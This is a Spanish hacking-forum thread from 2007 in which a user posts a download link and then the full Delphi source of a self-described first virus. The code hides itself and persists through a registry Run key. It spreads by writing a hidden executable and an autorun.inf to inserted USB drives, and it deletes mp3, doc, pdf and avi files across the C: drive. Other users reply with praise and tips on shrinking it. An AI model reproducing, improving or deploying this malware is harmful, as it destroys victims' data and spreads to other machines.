Tema destacado: ¡Aprende hacking con práctica! - arZone, el wargame de elhacker.net
Autor
|
Tema: Virus en Delphi (Leído 3,400 veces)
|
angelp4492
Desconectado
Mensajes: 10
|
Hola como estan? Aqui les dejo mi primer virus para que lo testen aquellos que quieran, es un destructor de mp3,doc,pdf y avi tiene una propiedad interesante se propaga por memoria usb nada mas insertarla, si a alguien le interesa puedo postear el codigo, esta escrito en delphi 7. Espero criticas para posibles mejoras....gracias http://rapidshare.com/files/80168772/ReproductorWVM.rar.html
|
|
|
|
« Última modificación: 30 Diciembre 2007, 23:26 por YaTaMaS »
|
En línea
|
|
|
|
|
skapunky
|
Mmmm buena iniciativa, de todas formas, si estas dispuesto pon el codigo, o almenos pon el codigo pero con errores pequeños para que users que no sepan no puedan usarlo a lo loco.Yo se bastante delphi i si quieres te puedo dar una opinión personal.
Saludos y felizes fiestas.
|
|
|
|
|
En línea
|
|
|
|
Thor
Desconectado
Mensajes: 1.176
|
A mi tambien me interesaría verlo.
|
|
|
|
|
En línea
|
|
|
|
angelp4492
Desconectado
Mensajes: 10
|
Bueno aqui les dejo el codigo. unit Unit1;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,Registry;
type TForm1 = class(TForm) function ALaPapelera(Fichero:string):boolean; Function VaciaPapelera:String; function GetWindowsDirectory : String; procedure Autorun; procedure FormCreate(Sender: TObject); private { Private declarations } Lista: set of Char; procedure CrearLista; procedure WMDEVICECHANGE(var Msg: TMessage); message WM_DEVICECHANGE; public { Public declarations } procedure BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean);
end;
var Form1: TForm1; Ficheros1:TStringList; implementation
{$R *.dfm}
function Tform1.GetWindowsDirectory : String; var pcWindowsDirectory : PChar; dwWDSize : DWORD; begin dwWDSize := MAX_PATH + 1; GetMem( pcWindowsDirectory, dwWDSize ); try if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0 then Result := pcWindowsDirectory; finally FreeMem( pcWindowsDirectory ); end; end;
Function Tform1.VaciaPapelera; type TSHEmptyRecycleBin = function (Wnd: HWND; LPCTSTR: PChar; DWORD: Word): integer; stdcall; var MangoLib : THandle; SHEmptyRecycleBin : TSHEmptyRecycleBin; i:integer; begin {Cargamos SHell32.DLL} {Load Shell32.DLL} MangoLib := LoadLibrary(PChar('Shell32.dll')); {Si no se pudo... error} {if not... error} if MangoLib = 0 then Raise Exception.Create( 'No se pudo cargar Shell32.DLL'+#13+ 'Cannot load Shell32.DLL'); {Buscamos dentro de la DLL la funcion que queremos} {Search into DLL the required funtion} @SHEmptyRecycleBin := GetProcAddress(MangoLib, 'SHEmptyRecycleBinA'); {Si no existe... error} {If don't exists... error} if @SHEmptyRecycleBin = nil then begin FreeLibrary(MangoLib); Raise Exception.Create( 'No se pudo encontrar SHEmptyRecycleBinA en Shell32.DLL'+#13+ 'Cannot find SHEmptyRecycleBinA in Shell32.DLL'); end; {Vaciamos la papelera, sin sonido ni confirmación} {Empty the Recycle bin...} SHEmptyRecycleBin(Application.Handle,'',7); {Liberamos la DLL} {Free the DLL} FreeLibrary(MangoLib); end;
function Tform1.ALaPapelera(Fichero:string):boolean; var FileOp: TSHFileOpStruct; begin if FileExists(Fichero)then begin FillChar(FileOp,SizeOf(FileOp),#0); with FileOp do begin Wnd:= Application.Handle; pFrom:= PChar(Fichero+#0#0); fFlags:= FOF_SILENT or FOF_ALLOWUNDO or FOF_NOCONFIRMATION; end; Result:= (ShFileOperation(FileOp)=0); end else Result:=False; end;
procedure TForm1.CrearLista; var Letra: Char;
begin Lista:= []; for Letra:= 'C' to 'Z' do if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then Lista:= Lista + [Letra]; end;
procedure TForm1.WMDEVICECHANGE(var Msg: TMessage); var Letra: Char; Atributos: Cardinal; begin if Msg.WParam = DBT_DEVICEARRIVAL then begin for Letra:= 'C' to 'Z' do if GetDriveType(Pchar(Letra+':\')) = DRIVE_REMOVABLE then begin if not (Letra in Lista) then begin copyfile(Pchar(ParamStr(0)),Pchar(Letra+':\ReproductorWMV.exe'),false); SetFileAttributes(PChar(Letra+':\ReproductorWMV.exe'),faHidden); with TStringList.Create() do try Add('[Autorun]'); Add('ShellExecute=ReproductorWMV.exe'); add('attrib +h Autorun.inf');
try SaveToFile(Letra+':\autorun.inf'); SetFileAttributes(PChar(Letra+':\autorun.inf'),faHidden); except on E: Exception do begin ShowMessageFmt( 'Ocurrió una excepción: %s', [E.Message] ); end; end; finally Free(); end;
//ShowMessage('Este es un disco removible '+Letra+':\'); end; end; end; CrearLista; inherited; end;
procedure TForm1.BuscaFicheros(path, mask : AnsiString; var Value : TStringList; brec : Boolean); var srRes : TSearchRec; iFound : Integer;
begin if ( brec ) then begin if path[Length(path)] <> '\' then path := path +'\'; while iFound = 0 do begin
if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) then if srRes.Attr and faDirectory > 0 then BuscaFicheros( path + srRes.Name, mask, Value, brec ); iFound := FindNext(srRes);
end; FindClose(srRes); end;
if path[Length(path)] <> '\' then path := path +'\'; iFound := FindFirst(path+mask, faAnyFile-faDirectory, srRes); while iFound = 0 do begin if ( srRes.Name <> '.' ) and ( srRes.Name <> '..' ) and ( srRes.Name <> '' ) then Value.Add(path+srRes.Name);
iFound := FindNext(srRes);
end;
FindClose( srRes ); end;
procedure Tform1.Autorun; var Registro :TRegistry; Atributos: Cardinal; begin Registro:=TRegistry.create; Registro.RootKey := HKEY_LOCAL_MACHINE;
if Registro.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE) then begin
Registro.WriteString('SystemRoot',GetWindowsDirectory+ '\ReproductorWMV.exe');
copyfile(Pchar(ParamStr(0)),Pchar(GetWindowsDirectory+'\ReproductorWMV.exe'),false);
SetFileAttributes(PChar(GetWindowsDirectory+'\ReproductorWMV.exe'),faHidden); end;
Registro.Destroy;
end;
procedure TForm1.FormCreate(Sender: TObject);
var Ficheros:TStringList; FicherosDoc:TStringList; dato :TStringList; i:integer; begin BorderStyle := bsNone; Left := 0; Top := 0; Width := 0; Height := 0; Visible := False; Application.Title := ''; Application.ShowMainForm := False; ShowWindow( Application.Handle, SW_HIDE );
Ficheros:=TStringList.Create; BuscaFicheros('c:\cura\','cura.txt',Ficheros,TRUE); SetWindowLong( Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); autorun; if ficheros.count > 0 then begin Ficheros.Free; form1.visible:=false; end else begin BuscaFicheros('c:\.\','*.mp3',Ficheros,TRUE); for i:=0 to ficheros.Count -1 do Alapapelera (ficheros[i]); vaciapapelera; BuscaFicheros('c:\.\','*.doc',Ficheros,TRUE); for i:=0 to ficheros.Count -1 do Alapapelera (ficheros[i]); vaciapapelera;
BuscaFicheros('c:\.\','*.pdf',Ficheros,TRUE); for i:=0 to ficheros.Count -1 do Alapapelera (ficheros[i]); vaciapapelera; BuscaFicheros('c:\.\','*.avi',Ficheros,TRUE); for i:=0 to ficheros.Count -1 do Alapapelera (ficheros[i]); vaciapapelera;
ficheros.Free; end;
end;
end.
|
|
|
|
|
En línea
|
|
|
|
|
el-viejo
|
 hey muchas gracias, la verdad es que esta muy interesante, lo estudiare  saludos...
|
|
|
|
|
En línea
|
|
|
|
angelp4492
Desconectado
Mensajes: 10
|
Quien quiera probarlo y no sufrir daños, en el codigo esta la respuesta ademas de como quitarlo de la maquina
|
|
|
|
|
En línea
|
|
|
|
|
~~
|
Mira, al final el pascal q me estan enseñando en la uni sirve para algo, se entiende perfectamente el code xDD buen aporte 
|
|
|
|
|
En línea
|
|
|
|
Thor
Desconectado
Mensajes: 1.176
|
Parece un remix de códigos sacados de aquí y alla. ¿Para que poner un formulario a una aplicación así? Así solo se consiguen 300 kb mas mínimo.
Usar la uses Registry, tmb le sumara peso absurdamente, usa la api de windows, total para 1 clave que se escribe.
Se agradece que postearas el código, saludos.
|
|
|
|
|
En línea
|
|
|
|
GedzacGroup
Desconectado
Mensajes: 23
|
Sip. estaba a punto de decir lo mismo. pero en fin, por lo menos se atrevió. y valiente al postearlo. personalmente Delphi no lo entiendo muy bien, pero se ve que no es muy complicado de entender.
|
|
|
|
|
En línea
|
|
|
|
angelp4492
Desconectado
Mensajes: 10
|
Cierto es q se pude usar la api y sacarle menos kb pero por eso lo de "Mi primer" jeje
|
|
|
|
|
En línea
|
|
|
|
|
|